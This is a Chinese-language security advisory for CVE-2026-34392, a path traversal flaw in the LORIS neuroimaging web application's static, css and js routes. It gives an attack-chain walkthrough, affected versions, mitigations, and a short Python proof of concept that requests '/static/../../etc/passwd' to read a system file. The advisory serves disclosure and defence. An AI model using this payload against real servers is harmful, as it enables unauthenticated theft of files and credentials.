IPBUF安全漏洞报告
English
CVE-2026-34392 CVSS 7.5 高危

CVE-2026-34392 LORIS静态文件目录遍历漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-34392
漏洞类型
目录遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
LORIS

相关标签

目录遍历LORIS信息泄露Path TraversalCWE-22

漏洞概述

LORIS是一个用于神经影像学研究的自托管Web应用程序。在其20.0.0至27.0.3之前及28.0.1之前的版本中,静态文件路由器存在严重的安全缺陷。由于缺乏足够的路径验证,攻击者可以利用目录遍历技术访问系统上的任意文件。通过利用static、css和js端点,未经授权的攻击者无需任何用户交互即可下载敏感数据,造成严重的信息泄露风险。该问题已在后续版本中得到修复。

技术细节

该漏洞的根源在于LORIS应用程序的静态文件路由组件未能正确处理用户提供的路径参数。在受影响的版本中,当请求/static、/css或/js目录下的资源时,系统未对路径中的特殊字符(如“../”)进行有效的过滤或规范化处理。这使得攻击者能够构造包含遍历序列的恶意URL,突破应用程序预期的根目录限制。攻击者利用此漏洞可以直接读取服务器文件系统上的敏感文件,如配置文件、日志或源代码。由于该漏洞无需身份认证(PR:N)且攻击复杂度低(AC:L),它构成了高风险的远程攻击向量。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标运行的是LORIS应用,且版本在受影响范围内(20.0.0至27.0.3之前或28.0.1之前)。
STEP 2
2. 构造恶意请求
攻击者利用静态文件端点(如/static),在URL路径中插入“../”序列,尝试访问Web根目录之外的文件(如/etc/passwd)。
STEP 3
3. 发送攻击请求
攻击者向服务器发送特制的HTTP GET请求,无需经过身份验证。
STEP 4
4. 获取敏感数据
由于存在路径遍历漏洞,服务器返回请求的敏感文件内容,攻击者成功获取系统信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual vulnerable host) target_host = "http://127.0.0.1:8080" # Malicious payload exploiting directory traversal via static endpoint # Attempting to download /etc/passwd payload = "/static/../../etc/passwd" full_url = target_host + payload try: response = requests.get(full_url) if response.status_code == 200: print("[+] Exploit successful! File content downloaded:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")

影响范围

LORIS >= 20.0.0, < 27.0.3
LORIS >= 28.0.0, < 28.0.1

防御指南

临时缓解措施
如果无法立即升级,建议在Web服务器层(如Nginx或Apache)配置严格的访问控制规则,拦截包含路径遍历字符(如“..”)的请求。同时,限制对/static、/css、/js端点的网络访问,仅允许受信任的来源访问,以降低被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表